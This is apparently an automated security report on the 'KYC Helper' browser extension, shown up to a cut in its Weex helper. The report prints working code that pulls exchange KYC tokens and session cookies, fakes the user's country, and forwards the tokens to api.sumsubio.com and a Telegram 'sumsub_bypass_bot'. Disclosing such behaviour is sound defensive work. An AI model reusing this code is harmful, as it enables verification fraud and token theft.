Is KYC Helper safe?
KYC Helper reads exchange verification tokens and sends them to api.sumsubio.com to create Telegram bot links.
When opened on supported exchange pages, KYC Helper runs page scripts that request KYC or face-verification tokens from Bybit, MEXC, Bitexen, BingX, and Weex sessions. It posts those raw Sumsub or Onfido access tokens, along with the active tab hostname, to api.sumsubio.com/api/deeplink and uses the returned short ID in a Telegram bot link.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
KYC tokens posted to Sumsub API for Telegram links
Clicking a Bybit or MEXC token button makes KYC Helper retrieve a verification token from the active page and send it, with the hostname, to api.sumsubio.com/api/deeplink.
The returned short ID builds a Telegram bot link.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You ask the extension to retrieve a Bybit or MEXC verification token.
This can be a KYC token, a face-verification token, or an Onfido token depending on the selected flow.
The extension sends the returned token to api.sumsubio.com and uses the response to prepare a Telegram bot link.
The forwarding happens automatically inside the token display path after a token is returned.
- Token categorysumsub_access_token
This tells the remote service whether the value came from a Sumsub or Onfido verification flow.
- Verification access tokensbx_kyc_7f2e3b6c9a104c2b8d63f5a1 (illustrative)
This value can open or continue the KYC or face-verification flow that the exchange issued for your session.
- Active site hostnamewww.bybit.com (illustrative)
This ties the token submission to the exchange site that was open when the button was clicked.
- Deeplink API headerX-API-Token: <redacted>
The request includes a client API token for the deeplink service, separate from your exchange token.
The code expects JSON containing short_id and uses it in a Telegram bot URL.
- X-API-Token
- <redacted>
- Content-Type
- application/json
Token retrieval flows feed the same deeplink POST
Deeplink POST and Telegram link construction
popup.js // API endpoint and token for shortening Sumsub access tokens // This is a client-side API token intended for browser extension use const DEEPLINK_API_URL = 'https://api.sumsubio.com/api/deeplink'; const DEEPLINK_API_TOKEN = '<redacted>'; // hardcoded client token redacted async function shortenTokenInternal(paramType, paramValue) { const tab = await getActiveTab(); const tabHost = tab?.url?.startsWith('http') ? new URL(tab.url).hostname : ''; const response = await fetch(DEEPLINK_API_URL, { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-API-Token': DEEPLINK_API_TOKEN }, body: JSON.stringify({ param_type: paramType, param_value: paramValue, host: tabHost }) }); if (!response.ok) { console.error(`Failed to shorten token: HTTP ${response.status} ${response.statusText}`); throw new Error(`Failed to shorten token (HTTP ${response.status})`); } const data = await response.json(); if (!data.short_id) { throw new Error('API response missing short_id'); } return data.short_id; } async function shortenToken(accessToken) { try { return await shortenTokenInternal('sumsub_access_token', accessToken); } catch (e) { console.error('Token shortening error:', e); throw e; } } async function shortenOnfidoToken(token, url) { try { const paramValue = `${token},${url}`; return await shortenTokenInternal('onfido_access_token', paramValue); } catch (e) { console.error('Onfido token shortening error:', e); throw e; } } async function makeBotLinkFromToken(rawToken) { if (!rawToken) { throw new Error('Token is required'); } try { const shortId = await shortenToken(rawToken); return `https://t.me/sumsub_bypass_bot?start=TOKEN_${shortId}`; } catch (e) { console.error('Failed to create bot link:', e); return null; } } async function makeBotLinkFromOnfido(token, url) { if (!token) { throw new Error('Token is required'); } try { const shortId = await shortenOnfidoToken(token, url); return `https://t.me/sumsub_bypass_bot?start=ONFIDO_${shortId}`; } catch (e) { console.error('Failed to create Onfido bot link:', e); return null; }Bybit token fetcher injected into the page
popup.js async function inPageGetToken(baseOrigin, kycCountry) { const postJsonRaw = async (url, body) => { const res = await fetch(url, { method: 'POST', headers: { accept: 'application/json', 'content-type': 'application/json' }, credentials: 'include', body: JSON.stringify(body ?? {}) }); const text = await res.text(); let data = null; try { data = text ? JSON.parse(text) : null; } catch {} if (!res.ok) { const apiMsg = data?.ret_msg || data?.retMsg || data?.message || data?.msg; throw new Error(`HTTP ${res.status} ${res.statusText}${apiMsg ? ` — ${apiMsg}` : ''}`); } return data; }; const strictPostJson = async (url, body) => { const data = await postJsonRaw(url, body); const retCode = data?.ret_code ?? data?.retCode; const retMsg = data?.ret_msg ?? data?.retMsg; if (typeof retCode === 'number' && retCode !== 0) { throw new Error(retMsg || `API ret_code=${retCode}`); } return data; }; const getIpCountryCode = async () => { try { const r = await fetch(`${baseOrigin}/x-api/v3/private/kyc/get-supported-ip-country-code`, { credentials: 'include' }); if (!r.ok) throw new Error(`HTTP ${r.status}`); const j = await r.json(); if ((j?.ret_code ?? j?.retCode) !== 0) throw new Error(j?.ret_msg || 'bad ret_code'); const code = (j?.result?.ipCountryCode || '').toUpperCase(); if (/^[A-Z]{2}$/.test(code)) return code; } catch {} return null; }; // Submit questionnaire with fallback if ret_code == 10016 const submitQuestionnaireWithFallback = async (contentPrimary) => { const url = `${baseOrigin}/x-api/v3/private/kyc/submit-questionnaire`; // First attempt with IP-based country let first = await postJsonRaw(url, { biz_from: 'kyc_web', template_code: '1', content: contentPrimary }); let firstRet = first?.ret_code ?? first?.retCode; let firstMsg = first?.ret_msg ?? first?.retMsg; if (typeof firstRet === 'number' && firstRet !== 0) { if (firstRet === 1032) { // Already submitted -> success return { ok: true, usedFallback: false }; } if (firstRet === 10016) { // Need fallback with 'UA' let second = await postJsonRaw(url, { biz_from: 'kyc_web', template_code: '1', content: 'UA' }); let secondRet = second?.ret_code ?? second?.retCode; let secondMsg = second?.ret_msg ?? second?.retMsg; if (typeof secondRet === 'number' && secondRet !== 0 && secondRet !== 1032) { throw new Error(secondMsg || `API ret_code=${secondRet}`); } return { ok: true, usedFallback: true }; } // Any other error throw new Error(firstMsg || `API ret_code=${firstRet}`); } // Success on first attempt return { ok: true, usedFallback: false }; }; try { const kycInfo = await strictPostJson(`${baseOrigin}/x-api/v3/private/kyc/kyc-info`, { obtain_kyc_token: false, obtain_current: true, obtain_quotas: false, obtain_state: false, obtain_verification_process: true }); const level = kycInfo?.result?.kycLevel; if (level === 'LEVEL_1') { const applicant = kycInfo?.result?.applicant ? { country: kycInfo.result.applicant.country || '', firstname: kycInfo.result.applicant.firstname || '', lastname: kycInfo.result.applicant.lastname || '' } : null; return { ok: true, status: 'kyc_completed', applicant }; } const _vp = kycInfo?.result?.verificationProcess; const _panActive = !!(_vp?.tasks?.some(t => t.subTasks?.some(st => st.subTaskName === 'kyc-pan' && st.subTaskState === 'VerifySubTaskState_Active') )); if (_panActive) { const panSdkInfo = await strictPostJson(`${baseOrigin}/x-api/v3/private/kyc/get-verification-sdk-info`, { country: 'IN', announced: true, extra_params: { poi_entry_mode: 'MODE_MANUAL' }, verify_type: 'VerifyType_PAN' }); const panToken = panSdkInfo?.result?.kycToken || ''; return { ok: true, status: 'pan_token', token: panToken }; } if (level !== 'LEVEL_DEFAULT' && level !== 'LEVEL_0') { return { ok: false, errorMessage: `Unexpected kycLevel: ${String(level)}` }; } const _rawCountry = (await getIpCountryCode()) || 'UA'; const _EU_US = new Set(['US','AT','BE','BG','HR','CY','CZ','DK','EE','FI','FR','DE','GR','HU','IE','IT','LV','LT','LU','MT','NL','PL','PT','RO','SK','SI','ES','SE']); const ipCountry = _EU_US.has(_rawCountry) ? 'UA' : _rawCountry; await submitQuestionnaireWithFallback(ipCountry); await strictPostJson(`${baseOrigin}/x-api/v3/private/kyc/kyc-info`, { obtain_aml_questionnaire: true, obtain_current: true, obtain_state: true, obtain_verification_process: true, obtain_quotas: true, }); const sdkInfo = await strictPostJson(`${baseOrigin}/x-api/v3/private/kyc/get-verification-sdk-info`, { country: kycCountry || 'LK', doc_type: 'KYC_DOC_TYPE_ID', announced: true }); const provider = sdkInfo?.result?.provider; if (provider === 'PROVIDER_SUMSUB') { const token = sdkInfo?.result?.kycToken || ''; return { ok: true, status: 'kyc_token', token, provider }; } if (provider === 'PROVIDER_JUMIO_NEW') { const url = sdkInfo?.result?.sdkUrl || ''; return { ok: true, status: 'jumio_url', url, provider }; } if (provider === 'PROVIDER_ONFIDO') { const ti = sdkInfo?.result?.tokenInfo || {}; return { ok: true, status: 'onfido_token', token: ti.token || '', workflowRunId: ti.workflowRunId || '', provider }; } return { ok: true, status: 'unsupported_provider', provider: provider || 'UNKNOWN' }; } catch (e) { return { ok: false, errorMessage: e?.message || String(e) }; } }MEXC KYC token fetcher injected into the page
popup.js async function inPageGetMexcToken() { // Hardcoded values since this function is injected into page context const MEXC_COUNTRY_CODE = 'UA'; const MEXC_CARD_TYPE = '2'; const postJson = async (url, body, headers = {}) => { const res = await fetch(url, { method: 'POST', headers: { 'accept': '*/*', 'accept-language': 'ru', 'content-type': 'application/json', 'language': 'ru-RU', ...headers }, credentials: 'include', body: body ? JSON.stringify(body) : null }); const text = await res.text(); let data = null; try { data = text ? JSON.parse(text) : null; } catch {} if (!res.ok) { const apiMsg = data?.message || data?.msg; throw new Error(`HTTP ${res.status} ${res.statusText}${apiMsg ? ` — ${apiMsg}` : ''}`); } if (!data?.success || data?.code !== 0) { const apiMsg = data?.message || data?.msg || 'API request failed'; throw new Error(apiMsg); } return data; }; try { // Step 1: Initialize KYC and get recordId and applicantId const initUrl = `${window.location.origin}/ucenter/api/kyc_senior/self_init?countryCode=${MEXC_COUNTRY_CODE}&cardType=${MEXC_CARD_TYPE}`; const initData = await postJson(initUrl, null); const recordId = initData?.data?.recordId; const applicantId = initData?.data?.applicantId; if (!recordId || !applicantId) { throw new Error('Failed to get recordId or applicantId'); } // Step 2: Get access token const tokenUrl = `${window.location.origin}/ucenter/api/kyc_senior/access_token`; const tokenData = await postJson(tokenUrl, { countryCode: MEXC_COUNTRY_CODE, cardType: MEXC_CARD_TYPE, recordId: recordId, applicantId: applicantId }); const accessToken = tokenData?.data?.accessToken; if (!accessToken) { throw new Error('Failed to get access token'); } return { ok: true, token: accessToken }; } catch (e) { return { ok: false, errorMessage: e?.message || String(e) }; } }Bybit token UI forwards returned tokens
popup.js async function showTokenUI(token, directUrl = null, onfidoUrl = null) { tokenFieldEl.value = directUrl || token; tokenRowEl.hidden = false; copyBtnEl.disabled = !(directUrl || token); if (directUrl) { // JUMIO_NEW: open the SDK url directly, no token shortening botLinkHref = directUrl; botBtnEl.disabled = false; botBtnEl.textContent = 'Open URL'; return; } if (token) { botBtnEl.disabled = true; botBtnEl.textContent = 'Loading...'; try { botLinkHref = onfidoUrl !== null ? await makeBotLinkFromOnfido(token, onfidoUrl) : await makeBotLinkFromToken(token); if (botLinkHref) { botBtnEl.disabled = false; botBtnEl.textContent = 'Get Link'; } else { botBtnEl.disabled = true; botBtnEl.textContent = 'Error'; setStatus('Token obtained but link generation failed. Check console for details.', 'warn'); } } catch (e) { botBtnEl.disabled = true; botBtnEl.textContent = 'Error'; setStatus(`Token obtained but link generation failed: ${e.message}`, 'warn'); } } else { botBtnEl.disabled = true; botLinkHref = null; } }MEXC token UI forwards returned tokens
popup.js async function showMexcTokenUI(token) { mexcTokenFieldEl.value = token; mexcTokenRowEl.hidden = false; mexcCopyBtnEl.disabled = !token; if (token) { mexcBotBtnEl.disabled = true; mexcBotBtnEl.textContent = 'Loading...'; try { mexcBotLinkHref = await makeBotLinkFromToken(token); if (mexcBotLinkHref) { mexcBotBtnEl.disabled = false; mexcBotBtnEl.textContent = 'Get Link'; } else { mexcBotBtnEl.disabled = true; mexcBotBtnEl.textContent = 'Error'; setMexcStatus('Token obtained but link generation failed. Check console for details.', 'warn'); } } catch (e) { mexcBotBtnEl.disabled = true; mexcBotBtnEl.textContent = 'Error'; setMexcStatus(`Token obtained but link generation failed: ${e.message}`, 'warn'); } } else { mexcBotBtnEl.disabled = true; mexcBotLinkHref = null; } }MEXC face-token UI handlers forward returned tokens
popup.js async function showMexcRiskFaceTokenUI(token, isAAI = false) { mexcRiskFaceIsAAI = isAAI; mexcRiskFaceTokenFieldEl.value = token; mexcRiskFaceTokenRowEl.hidden = false; mexcRiskFaceCopyBtnEl.disabled = !token; if (!token) { mexcRiskFaceBotBtnEl.disabled = true; mexcRiskFaceBotBtnEl.textContent = 'Get Link'; mexcRiskFaceBotLinkHref = null; return; } if (isAAI) { // For AdvancedAAI — the token field holds the URL; open it directly mexcRiskFaceBotLinkHref = token; mexcRiskFaceBotBtnEl.disabled = false; mexcRiskFaceBotBtnEl.textContent = 'Open Link'; } else { mexcRiskFaceBotBtnEl.disabled = true; mexcRiskFaceBotBtnEl.textContent = 'Loading...'; try { mexcRiskFaceBotLinkHref = await makeBotLinkFromToken(token); if (mexcRiskFaceBotLinkHref) { mexcRiskFaceBotBtnEl.disabled = false; mexcRiskFaceBotBtnEl.textContent = 'Get Link'; } else { mexcRiskFaceBotBtnEl.disabled = true; mexcRiskFaceBotBtnEl.textContent = 'Error'; setMexcRiskFaceStatus('Token obtained but link generation failed. Check console for details.', 'warn'); } } catch (e) { mexcRiskFaceBotBtnEl.disabled = true; mexcRiskFaceBotBtnEl.textContent = 'Error'; setMexcRiskFaceStatus(`Token obtained but link generation failed: ${e.message}`, 'warn'); } } } async function showMexcWithdrawFaceTokenUI(token) { mexcWithdrawFaceTokenFieldEl.value = token; mexcWithdrawFaceTokenRowEl.hidden = false; mexcWithdrawFaceCopyBtnEl.disabled = !token; if (token) { mexcWithdrawFaceBotBtnEl.disabled = true; mexcWithdrawFaceBotBtnEl.textContent = 'Loading...'; try { mexcWithdrawFaceBotLinkHref = await makeBotLinkFromToken(token); if (mexcWithdrawFaceBotLinkHref) { mexcWithdrawFaceBotBtnEl.disabled = false; mexcWithdrawFaceBotBtnEl.textContent = 'Get Link'; } else { mexcWithdrawFaceBotBtnEl.disabled = true; mexcWithdrawFaceBotBtnEl.textContent = 'Error'; setMexcWithdrawFaceStatus('Token obtained but link generation failed. Check console for details.', 'warn'); } } catch (e) { mexcWithdrawFaceBotBtnEl.disabled = true; mexcWithdrawFaceBotBtnEl.textContent = 'Error'; setMexcWithdrawFaceStatus(`Token obtained but link generation failed: ${e.message}`, 'warn'); } } else { mexcWithdrawFaceBotBtnEl.disabled = true; mexcWithdrawFaceBotLinkHref = null; } } async function showMexcSecurityFaceTokenUI(token) { mexcSecurityFaceTokenFieldEl.value = token; mexcSecurityFaceTokenRowEl.hidden = false; mexcSecurityFaceCopyBtnEl.disabled = !token; if (!token) { mexcSecurityFaceBotBtnEl.disabled = true; mexcSecurityFaceBotBtnEl.textContent = 'Get Link'; mexcSecurityFaceBotLinkHref = null; return; } mexcSecurityFaceBotBtnEl.disabled = true; mexcSecurityFaceBotBtnEl.textContent = 'Loading...'; try { mexcSecurityFaceBotLinkHref = await makeBotLinkFromToken(token); if (mexcSecurityFaceBotLinkHref) { mexcSecurityFaceBotBtnEl.disabled = false; mexcSecurityFaceBotBtnEl.textContent = 'Get Link'; } else { mexcSecurityFaceBotBtnEl.disabled = true; mexcSecurityFaceBotBtnEl.textContent = 'Error'; setMexcSecurityFaceStatus('Token obtained but link generation failed. Check console for details.', 'warn'); } } catch (e) { mexcSecurityFaceBotBtnEl.disabled = true; mexcSecurityFaceBotBtnEl.textContent = 'Error'; setMexcSecurityFaceStatus(`Token obtained but link generation failed: ${e.message}`, 'warn'); } }Bybit click handler injects the token fetcher
popup.js async function getToken() { resetTokenUI(); try { await ensureContext(); } catch (e) { setStatus(e.message, 'warn'); await sendOverlay({ severity: 'warning', message: e.message }); return; } setStatus('Fetching provider and token…'); getTokenBtnEl.disabled = true; checkBtnEl.disabled = true; try { const inj = await chrome.scripting.executeScript({ target: { tabId: lastTabId }, world: 'MAIN', func: inPageGetToken, args: [lastBaseOrigin, kycCountrySelectEl.value || 'LK'] }); const result = inj?.[0]?.result; if (!result?.ok) throw new Error(result?.errorMessage || 'Unknown error'); if (result.status === 'unsupported_provider') { const msg = `Provider not supported: ${result.provider}`; setStatus(msg, 'warn'); await sendOverlay({ severity: 'warning', message: msg }); return; } if (result.status === 'kyc_completed') { setStatus('KYC COMPLETED. Token not required.', 'ok'); await sendOverlay({ severity: 'success', message: 'KYC COMPLETED. Token not required.' }); return; } if (result.status === 'kyc_token') { const token = result.token || ''; const hasToken = Boolean(token); const msg = hasToken ? providerHint(result.provider) : 'Token is empty.'; setStatus(msg, hasToken ? 'ok' : 'warn'); if (hasToken) { await showTokenUI(token); const receivedAt = Date.now(); await saveToken(token); startTokenCountdown(receivedAt); } else { expireTokenUI(); } await sendOverlay({ severity: hasToken ? 'success' : 'warning', message: msg, token }); return; } if (result.status === 'jumio_url') { const url = result.url || ''; const hasUrl = Boolean(url); const msg = hasUrl ? providerHint(result.provider) : 'JUMIO URL is empty.'; setStatus(msg, hasUrl ? 'ok' : 'warn'); if (hasUrl) { await showTokenUI('', url); } else { expireTokenUI(); } await sendOverlay({ severity: hasUrl ? 'success' : 'warning', message: msg, token: url }); return; } if (result.status === 'onfido_token') {MEXC click handler injects the token fetcher
popup.js async function getMexcToken() { expireMexcTokenUI(); try { await ensureMexcContext(); } catch (e) { setMexcStatus(e.message, 'warn'); return; } // First, check KYC status setMexcStatus('Checking MEXC KYC status…'); getMexcTokenBtnEl.disabled = true; checkMexcBtnEl.disabled = true; try { const statusInj = await chrome.scripting.executeScript({ target: { tabId: lastTabId }, world: 'MAIN', func: inPageCheckMexcStatus, args: [] }); const statusResult = statusInj?.[0]?.result; if (!statusResult?.ok) throw new Error(statusResult?.errorMessage || 'Unknown error'); lastMexcAuthLevel = statusResult.authLevel || null; // authLevel=1 - no kyc (can get token) // authLevel=2 - Primary KYC (can get token) // authLevel=3 - advanced kyc - KYC completed, cannot get token const authLevel = String(statusResult.authLevel); if (authLevel === '3') { const msg = formatMexcCompletedMessage(statusResult.authRealName, statusResult.country); setMexcStatus(msg, 'ok'); getMexcTokenBtnEl.disabled = true; checkMexcBtnEl.disabled = false; return; } // For authLevel 1 (No KYC) or 2 (Primary KYC), proceed with token fetching setMexcStatus('Fetching MEXC token…'); const inj = await chrome.scripting.executeScript({ target: { tabId: lastTabId }, world: 'MAIN', func: inPageGetMexcToken, args: [] }); const result = inj?.[0]?.result; if (!result?.ok) throw new Error(result?.errorMessage || 'Unknown error'); const token = result.token || ''; const hasToken = Boolean(token); const msg = hasToken ? 'Token obtained.' : 'Token is empty.'; setMexcStatus(msg, hasToken ? 'ok' : 'warn'); if (hasToken) { await showMexcTokenUI(token); const receivedAt = Date.now(); await saveMexcToken(token); startMexcTokenCountdown(receivedAt); } else { expireMexcTokenUI(); } } catch (e) { setMexcStatus(e.message || String(e), 'err'); } finally { getMexcTokenBtnEl.disabled = false; checkMexcBtnEl.disabled = false; } }- api.sumsubio.com
Receives the token category, the exchange verification token, and the active exchange hostname for deeplink creation.
- t.me
Receives the user when the returned short ID is opened as a sumsub_bypass_bot Telegram start link.
Other-exchange mode forwards verification tokens
The popup has an Other exchange mode for Bitexen, BingX, and Weex, though the manifest names only Bybit and MEXC.
Get token there gets a token from cookies or storage and sends it to api.sumsubio.com/api/deeplink.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You use the popup's Other exchange mode on a Bitexen, BingX, or Weex page.
The mode is exposed in the popup UI and auto-selected for matching active-tab hostnames.
The extension injects an exchange-specific token helper and forwards the resulting verification token to the Sumsub deeplink API.
BingX and Weex paths also read cookies or browser storage values to build their exchange API requests.
- Selected exchange hostnamewww.bingx.com (illustrative)
This determines which page helper runs and ties the action to the exchange tab you opened.
- Verification access tokensumsub_token_8b7f6c3a2d914e50 (illustrative)
This value can open or continue the Sumsub verification flow issued for your exchange session.
- BingX session cookiesuuid=5c4f2e8a9d1b43a6; anti_device_id=ad7c91f23e; user_token=eyJhbGciOiJIUzI1NiJ9 (illustrative)
These values identify the browser session used to sign and authorize BingX KYC requests.
- Weex terminal identifierweex:terminalCode=ae7517d3f70939e37ebd1b01b3ff06ff
This browser storage value helps form the Weex token request from your current browser profile.
- Deeplink hostname fieldbingx.com (illustrative)
The forwarded request includes the active site hostname along with the token.
The code expects JSON containing short_id and enables the popup's Get Link button when the bot URL is built.
- X-API-Token
- <redacted>
- Content-Type
- application/json
Other exchange helpers collect tokens and call the same shortener
Manifest scopes do not list Bitexen, BingX, or Weex host permissions
manifest.json{ "update_url": "https://clients2.google.com/service/update2/crx", "manifest_version": 3, "name": "KYC Helper", "description": "Fetches KYC tokens from Bybit and MEXC.", "version": "1.28.0", "permissions": [ "activeTab", "storage", "scripting" ], "host_permissions": [ "https://*.bybit.com/*", "https://*.bybitglobal.com/*", "https://*.bybit.global/*", "https://*.bytick.com/*", "https://api.sumsubio.com/*", "https://www.mexc.com/*", "https://*.mexc.fm/*" ], "icons": { "16": "icons/icon16.png", "32": "icons/icon32.png", "48": "icons/icon48.png", "128": "icons/icon128.png" }, "action": { "default_title": "Get KYC Token", "default_popup": "popup.html", "default_icon": { "16": "icons/icon16.png", "32": "icons/icon32.png", "48": "icons/icon48.png", "128": "icons/icon128.png" } }, "content_scripts": [ { "matches": [ "https://*.bybit.com/*", "https://*.bybitglobal.com/*", "https://*.bybit.global/*", "https://*.bytick.com/*", "https://*.mexc.com/*", "https://*.mexc.fm/*" ], "js": ["content.js"], "run_at": "document_idle" } ]}Other exchange UI exposes Bitexen, BingX, and Weex
popup.html <!-- ═══ OTHER ═══ --> <div id="otherContent" class="tab-content"> <div class="exchange-select" id="otherExchangeSelect" data-value="bitexen"> <button class="exchange-select-trigger" type="button" aria-haspopup="listbox"> <div class="exchange-select-info"> <span class="exchange-select-name" id="otherExchangeSelectName">Bitexen</span> <span class="exchange-select-url" id="otherExchangeSelectUrl">bitexen.com</span> </div> <svg class="exchange-select-arrow" width="12" height="12" viewBox="0 0 12 12" fill="none"> <path d="M2 4.5L6 8.5L10 4.5" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/> </svg> </button> <div class="exchange-dropdown" id="otherExchangeDropdown" hidden role="listbox"> <div class="exchange-option selected" data-value="bitexen" role="option"> <span class="exchange-option-name">Bitexen</span> <span class="exchange-option-url">bitexen.com</span> </div> <div class="exchange-option" data-value="bingx" role="option"> <span class="exchange-option-name">BingX</span> <span class="exchange-option-url">bingx.com</span> </div> <div class="exchange-option" data-value="weex" role="option"> <span class="exchange-option-name">Weex</span> <span class="exchange-option-url">weex.com</span> </div> </div> </div> <div id="otherStatus" style="margin-top:9px;">Select an exchange and click "Get token".</div> <div id="otherTokenRow" class="field-block" hidden> <input id="otherTokenField" class="token" type="text" readonly placeholder="Token…" /> <button id="otherGetLinkBtn" class="btn-compact-primary" disabled>Get Link</button> <button id="otherCopyBtn" class="btn-compact" disabled>Copy</button> </div> <div class="actions"> <button id="getOtherTokenBtn">Get token</button>Bitexen page helper returns verification_token
popup.js // In-page: fetch Bitexen sumsub token async function inPageBitexenGetToken(baseOrigin) { try { const res = await fetch(`${baseOrigin}/p/v1/user/verification/provider/start/`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, credentials: 'include', body: JSON.stringify({}) }); const data = await res.json(); if (data?.status === 'success' && data?.data?.verification_token) { return { ok: true, token: data.data.verification_token }; } return { ok: false, errorMessage: data?.message || `HTTP ${res.status}` }; } catch (e) { return { ok: false, errorMessage: e.message }; } }BingX page helper reads cookies and signs KYC requests
popup.js // In-page: fetch BingX sumsub token (two-step) with request signing async function inPageBingXGetToken(baseOrigin) { try { const getCookie = name => { const m = document.cookie.match(new RegExp('(?:^|; )' + name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '=([^;]*)')); return m ? decodeURIComponent(m[1]) : ''; }; const deviceId = getCookie('uuid') || ''; const antiDeviceId = getCookie('anti_device_id') || ''; const userToken = getCookie('user_token') || ''; const platformId = '30'; const appVersion = '5.3.9'; const sha256upper = async str => { const buf = await crypto.subtle.digest('SHA-256', new TextEncoder().encode(str)); return Array.from(new Uint8Array(buf)).map(b => b.toString(16).padStart(2, '0')).join('').toUpperCase(); }; const genTraceId = () => crypto.randomUUID().replace(/-/g, ''); // fast-json-stable-stringify (sort keys deterministically) const stableStr = obj => { if (typeof obj !== 'object' || obj === null) return JSON.stringify(obj); if (Array.isArray(obj)) return '[' + obj.map(stableStr).join(',') + ']'; return '{' + Object.keys(obj).sort().map(k => JSON.stringify(k) + ':' + stableStr(obj[k])).join(',') + '}'; }; // Mirror getSignContent from BingX frontend const buildSignContent = (timestamp, traceId, payload) => { const key = '95d65c73dc5c4370ae9018fb7f2eab69'; let c = '{}'; if (payload && JSON.stringify(payload) !== '{}') { // convert numbers/booleans to strings (mirrors getSignContentByObject) const convert = o => { const r = {}; for (const k of Object.keys(o)) { const v = o[k]; if (v === null || v === undefined || (typeof v === 'number' && isNaN(v))) continue; if (typeof v === 'number') r[k] = String(v).toUpperCase(); else if (typeof v === 'boolean') r[k] = String(v); else r[k] = v; } return r; }; c = stableStr(convert(payload)); } return `${key}${timestamp}${traceId}${deviceId}${platformId}${appVersion}${antiDeviceId}${c}`; }; const buildHeaders = async (timestamp, traceId, payload) => { const content = buildSignContent(timestamp, traceId, payload); const sign = await sha256upper(content); return { 'Content-Type': 'application/json', 'timestamp': String(timestamp), 'traceid': traceId, 'traceparent': `00-${traceId}-${genTraceId().slice(0, 16)}-01`, 'sign': sign, 'device_id': deviceId, 'antideviceid': antiDeviceId, 'authorization': userToken ? `Bearer ${userToken}` : '', 'platformid': platformId, 'app_version': appVersion, 'appid': '30004', 'mainappid': '10009', 'appsiteid': '0', 'channel': 'official', 'reg_channel': 'official', 'lang': 'en', 'x-requested-with': 'XMLHttpRequest', }; }; const post = async (url, body) => { const timestamp = Date.now(); const traceId = genTraceId(); const payload = body || {}; const headers = await buildHeaders(timestamp, traceId, payload); const res = await fetch(url, { method: 'POST', headers, credentials: 'include', body: body ? JSON.stringify(body) : undefined }); return res.json(); }; const step1 = await post(`${baseOrigin}/api/user-service/v1/kyc/get-verification-type`); if (step1?.code !== 0) return { ok: false, errorMessage: step1?.msg || 'Step 1 failed' }; const { allocateResult, verificationType } = step1.data; const step2Body = { bizType: 1, sourceType: '', verificationThirdType: verificationType, allocateResult }; const step2 = await post(`${baseOrigin}/api/user-service/v1/kyc/init-verification`, step2Body); if (step2?.code !== 0) return { ok: false, errorMessage: step2?.msg || 'Step 2 failed' }; const token = step2?.data?.extraInfo?.sumsub?.token; if (!token) return { ok: false, errorMessage: 'No sumsub token in response' }; return { ok: true, token }; } catch (e) { return { ok: false, errorMessage: e.message }; } }Weex page helper reads cookie and localStorage values
popup.js // In-page: fetch Weex sumsub token // eslint-disable-next-line no-unused-vars async function inPageWeexGetToken(_baseOrigin) { try { // Compact MD5 (pure JS, no external deps) const md5 = s => { const sa = (x, y) => { const l = (x & 0xffff) + (y & 0xffff); return ((x >> 16) + (y >> 16) + (l >> 16)) << 16 | l & 0xffff; }; const rl = (n, c) => n << c | n >>> 32 - c; const cm = (q, a, b, x, s, t) => sa(rl(sa(sa(a, q), sa(x, t)), s), b); const ff = (a,b,c,d,x,s,t) => cm(b & c | ~b & d, a, b, x, s, t); const gg = (a,b,c,d,x,s,t) => cm(b & d | c & ~d, a, b, x, s, t); const hh = (a,b,c,d,x,s,t) => cm(b ^ c ^ d, a, b, x, s, t); const ii = (a,b,c,d,x,s,t) => cm(c ^ (b | ~d), a, b, x, s, t); const n = s.length; const pl = n % 64 < 56 ? 56 - n % 64 : 120 - n % 64; const p = new Uint8Array(n + pl + 8); for (let i = 0; i < n; i++) p[i] = s.charCodeAt(i); p[n] = 0x80; let bl = n * 8; for (let i = 0; i < 4; i++) { p[n + pl + i] = bl & 0xff; bl >>= 8; } let a = 0x67452301, b = 0xefcdab89, c = 0x98badcfe, d = 0x10325476; const M = new Int32Array(16); for (let o = 0; o < p.length; o += 64) { for (let i = 0; i < 16; i++) M[i] = p[o+i*4] | p[o+i*4+1] << 8 | p[o+i*4+2] << 16 | p[o+i*4+3] << 24; let A = a, B = b, C = c, D = d; a=ff(a,b,c,d,M[0],7,-680876936);d=ff(d,a,b,c,M[1],12,-389564586);c=ff(c,d,a,b,M[2],17,606105819);b=ff(b,c,d,a,M[3],22,-1044525330); a=ff(a,b,c,d,M[4],7,-176418897);d=ff(d,a,b,c,M[5],12,1200080426);c=ff(c,d,a,b,M[6],17,-1473231341);b=ff(b,c,d,a,M[7],22,-45705983); a=ff(a,b,c,d,M[8],7,1770035416);d=ff(d,a,b,c,M[9],12,-1958414417);c=ff(c,d,a,b,M[10],17,-42063);b=ff(b,c,d,a,M[11],22,-1990404162); a=ff(a,b,c,d,M[12],7,1804603682);d=ff(d,a,b,c,M[13],12,-40341101);c=ff(c,d,a,b,M[14],17,-1502002290);b=ff(b,c,d,a,M[15],22,1236535329); a=gg(a,b,c,d,M[1],5,-165796510);d=gg(d,a,b,c,M[6],9,-1069501632);c=gg(c,d,a,b,M[11],14,643717713);b=gg(b,c,d,a,M[0],20,-373897302); a=gg(a,b,c,d,M[5],5,-701558691);d=gg(d,a,b,c,M[10],9,38016083);c=gg(c,d,a,b,M[15],14,-660478335);b=gg(b,c,d,a,M[4],20,-405537848); a=gg(a,b,c,d,M[9],5,568446438);d=gg(d,a,b,c,M[14],9,-1019803690);c=gg(c,d,a,b,M[3],14,-187363961);b=gg(b,c,d,a,M[8],20,1163531501); a=gg(a,b,c,d,M[13],5,-1444681467);d=gg(d,a,b,c,M[2],9,-51403784);c=gg(c,d,a,b,M[7],14,1735328473);b=gg(b,c,d,a,M[12],20,-1926607734); a=hh(a,b,c,d,M[5],4,-378558);d=hh(d,a,b,c,M[8],11,-2022574463);c=hh(c,d,a,b,M[11],16,1839030562);b=hh(b,c,d,a,M[14],23,-35309556); a=hh(a,b,c,d,M[1],4,-1530992060);d=hh(d,a,b,c,M[4],11,1272893353);c=hh(c,d,a,b,M[7],16,-155497632);b=hh(b,c,d,a,M[10],23,-1094730640); a=hh(a,b,c,d,M[13],4,681279174);d=hh(d,a,b,c,M[0],11,-358537222);c=hh(c,d,a,b,M[3],16,-722521979);b=hh(b,c,d,a,M[6],23,76029189); 